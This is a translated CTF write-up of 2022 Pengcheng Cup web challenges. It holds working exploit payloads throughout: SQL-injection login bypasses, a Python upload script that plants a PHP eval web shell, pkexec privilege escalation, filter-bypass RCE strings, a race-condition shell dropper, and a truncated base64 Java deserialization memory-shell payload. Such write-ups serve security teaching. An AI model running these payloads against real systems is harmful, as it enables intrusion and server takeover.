当前位置:网站首页>2022 Pengcheng cup Web
2022 Pengcheng cup Web
2022-07-05 10:52:00 【yu22x】
List of articles
BY Stellar Laboratory
Master Gao (yu22x)
Scan the background and find that .git, utilize githack Get the tools .git Folder , utilize git log see commit id, utilize git reset --hard be50c81b903b0005d0740d221e74c51340251bc2 Recover and get the source code .
Through background scanning, it is also found that login.php
According to the information at the bottom cms Type and version number , Search the corresponding vulnerabilities online directly .
Found such a , Said in login.php in sql Inject holes . But I didn't give poc.
But it can be analyzed according to the patch given by the manufacturer
Among them the login.php The main contents of the changes are as follows
Changed a code , The third parameter is changed from the original controllable value to a fixed value , And the fourth parameter is added .
To follow up protect function .
Then follow up $DB->protect
There is only one effect for us , It will add a backslash before the single quotation mark .
To follow up query_single
The most important thing is the query statement , And in the query statement $where
Can be controlled , That is to say 'cookie_hash = '.protect($_COOKIE['navigate-user'])
And the successful query will jump to the home page ( It is equivalent to successful login )
Simply sort out the code , The general process is as follows
<?php
function protect($str){
$str = str_replace("'", '\\'."'", $str);
$str = "'".$str."'";
return $str;
}
$column='id';
$table='nv_users';
$str="";
$where='cookie_hash = '.protect($str);
$order='';
$sql='SELECT ' . $column . ' FROM ' . $table . ' WHERE ' . $where . $order . ' LIMIT 1';
echo $sql;
The rest is how to pass cookie Can generate universal password .
Because filtering will add a backslash before the single quotation mark , So you can write a backslash by yourself and transfer it .
That is to say cookie Pass in navigate-user=\'||1#
You can log in successfully .
After entering the backstage , Or search for historical loopholes , One of them caught my attention .
stay navigate_upload.php There is a loophole in , Then continue to look at the patch .
The patch will cover this whole if All deleted , It seems that the loophole is this place .
also git This code does exist in the source code obtained .
Briefly analyze
You can write the uploaded file to , But there is still a message id, And finally spliced into a path that is an existing file .
That is to say, existing files can be overwritten .
Then we can directly cover one php file . There is a navigate_info.php It seems useless . It covers him .
The problem is coming. , The incoming id Replaced , take …/ Replaced with empty .
But it doesn't matter , Double write bypass can be used .
payload
#author:yu22x
import requests
sess=requests.session()
url="http://192.168.1.116/"
r1=sess.get(url+'login.php',headers={
'Cookie':"navigate-user=\\'||1#"})
url=url+"navigate_upload.php?session_id=31pukck2gfik0s84750cbvrdq2&engine=picnik&id=....//....//....//navigate_info.php"
files={
'file':('1.php','<?=eval($_POST[1]);?>','image/png')}
r=sess.post(url,files=files)
print(r.text)
Through the ant sword connection, I found no flag file , But there is an executable .
After execution, there is no flag.
Open this file and see .
It should be necessary to delete the root directory of the website bocai.html、bocai.png, Then execute , But I don't have permission to delete it for the time being , Therefore, it should be necessary to raise the right .
utilize find / -perm -4000 2>/dev/null The command found pkexec
Direct use CVE-2021-4034 Right to raise
View discovery bocai.html and bocai.png Can't delete 、 Can't move , utilize chattr -a bocai* Command to remove this attribute .
perform ./I_want_capture_the_flag Get flag:
easygo (airrudder)
Download the attachment , yes go.mod, There's a github Address
Check and find out how to use
payload:
http://192.168.1.115:8080/juice/1' UNION SELECT 1,flag FROM super_secret_table--+
Simple inclusion (yu22x)
It is found that the pseudo protocol exists when submitting it normally waf
Tested repeatedly , Submit a certain number of parameters to bypass
payload
1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/convert.base64-encode/resource=flag.php
can_u_login (airrudder)
With the fifth space yet_another_mysql_injection This question is the same , It's using sqli quine,payload It's the same thing :
password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")%23',CHAR(34),CHAR(39)),CHAR(49),'"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")%23')%23
ordinary php (airrudder)
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
Obviously, there is no reference RCE, Then there can't be numbers and letters , So here we can use inversion to bypass :
// phpinfo Value
?code=[~%8f%97%8f%96%91%99%90][!%FF]();
The same way , Construct out system(current(getallheaders()));
?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
Compressed package (yu22x)
The key points of the topic are as follows
Write our uploaded content to /tmp Next , Then decompress it as a compressed package , Then after a lot of filtering, delete the file if it is not satisfied .
In this way, there will be the possibility of conditional competition , And the file path generated after decompression can be obtained by calculation .
1、 Will be as follows php Content compression generation zip file .
<?php
echo '11111';
file_put_contents('/var/www/html/x.php','<?php eval($_POST[1]);?>');
?>
2、 The conditional competition script is as follows
#author:yu22x
import io
import requests
import threading
import hashlib
import base64
url="http://192.168.1.110:8521/"
sess=requests.session()
s = open('a.zip','rb').read()
content=base64.b64encode(s)
data={
'content':content}
i = hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(i.digest().hex())).encode())
def write(session):
while True:
resp = session.post( url,data=data )
def read(session):
while True:
resp = session.get(url+f'static/upload/{
md}/a.php')
if resp.status_code==200:
print('yes')
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
Connected by ant sword x.php The password for 1
Get it under the root directory flag
easy_sql (yu22x)
Scan the background and find phpmyadmin
Login requires a password , Blind guess user name root
Tried a few weak passwords .
The password found is password The login was successful , It's probably unexpected .
Try the user name one by one , It is found that the user name used is [email protected] Log in directly flag 了 .
Ez_Java(xenny)
ysoserial Not out of the network http://novic4.cn/index.php/archives/26.html#cl-4
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class lab4exp {
public static void main(String[] args) throws Exception {
Map map=new HashMap<String,Integer>();
String exp = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAANpHK/rq+AAAAMgKlCgC5AV8IAWAJAKIBYQgAvQkAogFiBwFjCgAGAV8KAAYBZAoABgFlCgCiAWYJAKIBZwgBaAoBaQFqCgAhAWsKACEBbAoBaQFtBwFuCgFpAW8KABEBcAoAEQFxCgAhAXIHAXMIAXQKAB4BdQgBdgoAHgF3CgF4AXkKACABeggBewcBfAcA2AcBfQcBfggBfwoAHgGACAGBCAGCCAGDCAGECAGFBwGGBwGHCAGICwApAYkIAYoKACEBiwcBjAcBjQgA8QcBjgcBjwgA8wgBkAgA9woAIQGRCAGSCgGTAZQKACEBlQgBlgoAIQGXCAGYCAGZCAGaBwGbCgGcAZ0KAZwBngoBnwGgCgBAAaEIAaIKAEABowoAQAGkCgAyAaUKAaYBpwgBqAsAKQGpCAGqCgAhAasHAawKAE4BXwoALwGtCAElCgBOAa4IAScIAQ4LACkBrwoBsAGxCAGyCgAeAbMKAbQBtQoBtAG2BwG3CAEEBwG4CgBdAbkIAQgHAboKAGABuwsBvAG9CwG+Ab8LAb4BwAcBwQsAZQHCCAHDCAHECgAhAcULAGUBxgcBxwoAawHICAHJCgBrAcoIAcsIAcwLAc0BzggBzwoB0AHRBwHSCgB0AdMKAdAB1AgB1QgB1gkB1wHYCgAeAdkKAXgBtQcB2goAfAFfCgB8AdsKAdAB3AoB3QHeCgHdAd8KAdcB4AoAIAGrCAHhCwApAeIKAKIB4woAogHkCQCiAeUHAeYHAecKAIkB6AcB6QcB6goAjQFfCwAqAaUKACEB6woBpgHsCgAgAWUKAI0B7QoAogHuCgAhAe8LAfAB8QgB8goBkwHzCgAGAfQIAfUHAfYKAJsB9wsB+AH5BwH6CgAeAfsIAU8HAfwHAqMKAKIBXwcB/goApAFfCgCkAf8KAKQCAAoAHgIBCgCkAgIKAJ4CAwcCBAoAqwFfCgCrAgUKAKsCAAkCBgIHCgIGAggKAKsCCQoAngIKBwILBwIMCgAeAg0KAg4BtQoCDgIPCwChAa4HAhAHAhEBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAPUx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL1RvbWNhdEZpbHRlck1lbVNoZWxsRnJvbVRocmVhZDsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAAW0BAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAAXMBAANyZXQBAA1TdGFja01hcFRhYmxlBwF+BwFzAQAMYmFzZTY0RW5jb2RlAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAB0VuY29kZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAZiYXNlNjQBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEABXZhbHVlAQAKRXhjZXB0aW9ucwEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcCEgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7BwITAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQAKZ2V0UmVxdWVzdAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALZ2V0UmVzcG9uc2UBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAA2NtZAEABG5leHQBAAVFbnRyeQEADElubmVyQ2xhc3NlcwEAFUxqYXZhL3V0aWwvTWFwJEVudHJ5OwEACHBhcmFtS2V5AQAOcGFyYW1WYWx1ZUxpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAtyZWFsUmVxdWVzdAEAJ0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0OwEAEmNveW90ZVJlcXVlc3RGaWVsZAEADWNveW90ZVJlcXVlc3QBABtMb3JnL2FwYWNoZS9jb3lvdGUvUmVxdWVzdDsBAApwYXJhbWV0ZXJzAQAoTG9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvaHR0cC9QYXJhbWV0ZXJzOwEAD3BhcmFtSGFzaFZhbHVlcwEACHBhcmFtTWFwAQAZTGphdmEvdXRpbC9MaW5rZWRIYXNoTWFwOwEAFExqYXZhL3V0aWwvSXRlcmF0b3I7AQALcGFnZUNvbnRleHQBABNMamF2YS91dGlsL0hhc2hNYXA7AQAHc2Vzc2lvbgEAIExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQABawEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAZtZXRob2QBAA5ldmlsY2xhc3NfYnl0ZQEACWV2aWxjbGFzcwEADnVybENsYXNzTG9hZGVyAQAZTGphdmEvbmV0L1VSTENsYXNzTG9hZGVyOwEACWRlZk1ldGhvZAEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAFmAQAEZGF0YQEAC2xhc3RSZXF1ZXN0AQAMbGFzdFJlc3BvbnNlAQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAUkxqYXZhL3V0aWwvTWFwJEVudHJ5PExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvU3RyaW5nOz47PjsBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL1N0cmluZzs+OwEAaExqYXZhL3V0aWwvSXRlcmF0b3I8TGphdmEvdXRpbC9NYXAkRW50cnk8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9TdHJpbmc7Pjs+Oz47BwKjBwIUBwIVBwIWBwGGBwGHBwF9BwIXBwD1BwGsBwIYBwIZBwG3BwG4BwIaBwG6BwIbBwHBBwHHBwIcAQABeAEAByhbQlopW0IBAAFaBwIdAQAHZGVzdHJveQEACDxjbGluaXQ+AQAEbmFtZQEAClVSTFBhdHRlcm4BABV3ZWJhcHBDbGFzc0xvYWRlckJhc2UBADJMb3JnL2FwYWNoZS9jYXRhbGluYS9sb2FkZXIvV2ViYXBwQ2xhc3NMb2FkZXJCYXNlOwEAD3N0YW5kYXJkQ29udGV4dAEAKkxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0OwEABmFDbGFzcwEAB0NvbmZpZ3MBAA1maWx0ZXJDb25maWdzAQAPTGphdmEvdXRpbC9NYXA7AQAOYmVoaW5kZXJGaWx0ZXIBAAlmaWx0ZXJEZWYBADFMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJEZWY7AQAJZmlsdGVyTWFwAQAxTG9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyTWFwOwEAC2NvbnN0cnVjdG9yAQAfTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAMkxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDb25maWc7AQA+TGphdmEvbGFuZy9DbGFzczwrTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQ7PjsHAfYHAfoHAXwBAApTb3VyY2VGaWxlAQAjVG9tY2F0RmlsdGVyTWVtU2hlbGxGcm9tVGhyZWFkLmphdmEMAMEAwgEAEDNjNmUwYjhhOWMxNTIyNGEMALsAvAwAvQC8AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAh4CHwwCIAIhDAC+AMgMAL4AvAEAA01ENQcCIgwCIwIkDAIlAiYMAicCKAwCKQIqAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAisCJgwAwQIsDAIgAi0MAi4CIQEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhLnV0aWwuQmFzZTY0DAIvAjABAApnZXRFbmNvZGVyDAIxAjIHAhcMAjMCNAwCNQI2AQAOZW5jb2RlVG9TdHJpbmcBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIMAjcCOAEABmVuY29kZQEACmdldERlY29kZXIBAAZkZWNvZGUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAHUmVmZXJlcgwCOQDIAQAXaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8MAjoCOwEAK29yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3RGYWNhZGUBACNqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0V3JhcHBlcgEALG9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlRmFjYWRlAQAkamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyAQANeC1jbGllbnQtZGF0YQwCPAI9AQAHb3MubmFtZQcCPgwCPwDIDAJAAiEBAAN3aW4MAkECQgEAAi9jAQAJL2Jpbi9iYXNoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgcCQwwCRAJFDAJGAkcHAkgMAkkCSgwAwQJLAQACXEEMAkwCTQwA+AIhDAJOAk8HAlAMAlECUgEACHJlYmV5b25kDAIxAiEBAARQT1NUDAJTAlQBABFqYXZhL3V0aWwvSGFzaE1hcAwCVQJWDAJXAlgMAlkCWgcCWwwCXAIhAQAADAJdAl4HAhkMAl8CYAwCYQJiAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAEAGW9yZy9hcGFjaGUvY295b3RlL1JlcXVlc3QMAmMCZAEAF2phdmEvdXRpbC9MaW5rZWRIYXNoTWFwDAJlAmYHAmcMAOYCaAcCGwwCaQI9DAD4AjgBABNqYXZhL3V0aWwvTWFwJEVudHJ5DAJqAjgBAAEgAQABKwwCawJsDAJtAjgBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAJuAigBAAE9DAJhAm8BABBlNDVlMzI5ZmViNWQ5MjViAQABdQcCGAwCcAJxAQADQUVTBwIdDAIjAnIBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDADBAnMMAOoCdAEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzBwJ1DAJ2AMAMAncCMgEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAYUA3AwCeAJ5BwJ6DAJ7AnwMAn0CfgwCfwKAAQAIZ29kemlsbGEMAoEAyAwA2wDcDAFBAUIMAL8AwAEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAMamF2YS9uZXQvVVJMDADBAoIBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwCgwKEDAKFAlIMAoYCJgwA0ADRDAKDAi0HAhYMAO8ChwEAD015RmlsdGVyVmVyc2lvbgwCiAKJDAIeAooBAAIvKgEAMG9yZy9hcGFjaGUvY2F0YWxpbmEvbG9hZGVyL1dlYmFwcENsYXNzTG9hZGVyQmFzZQwCiwKMBwKNDAKOAo8BAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0DAKQAjYBAA1qYXZhL3V0aWwvTWFwAQA7eXNvc2VyaWFsL3BheWxvYWRzL3RlbXBsYXRlcy9Ub21jYXRGaWx0ZXJNZW1TaGVsbEZyb21UaHJlYWQBAC9vcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlckRlZgwCkQKSDAKTAlIMApQCIQwClQJSDAKWApcBAC9vcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlck1hcAwCmAJSBwKZDAKaApsMAUcCIQwCnAJSDAKdAp4BADBvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDb25maWcBABtvcmcvYXBhY2hlL2NhdGFsaW5hL0NvbnRleHQMAp8CoAcCoQwCNwKiAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAmb3JnL2FwYWNoZS90b21jYXQvdXRpbC9odHRwL1BhcmFtZXRlcnMBABJqYXZhL3V0aWwvSXRlcmF0b3IBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQATamF2YXgvY3J5cHRvL0NpcGhlcgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABtqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3QBAAtnZXRJbnN0YW5jZQEAMShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAhnZXRCeXRlcwEABCgpW0IBAAZsZW5ndGgBAAMoKUkBAAZ1cGRhdGUBAAcoW0JJSSlWAQAGZGlnZXN0AQAGKElbQilWAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0SGVhZGVyAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAB2lzRW1wdHkBAAMoKVoBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1d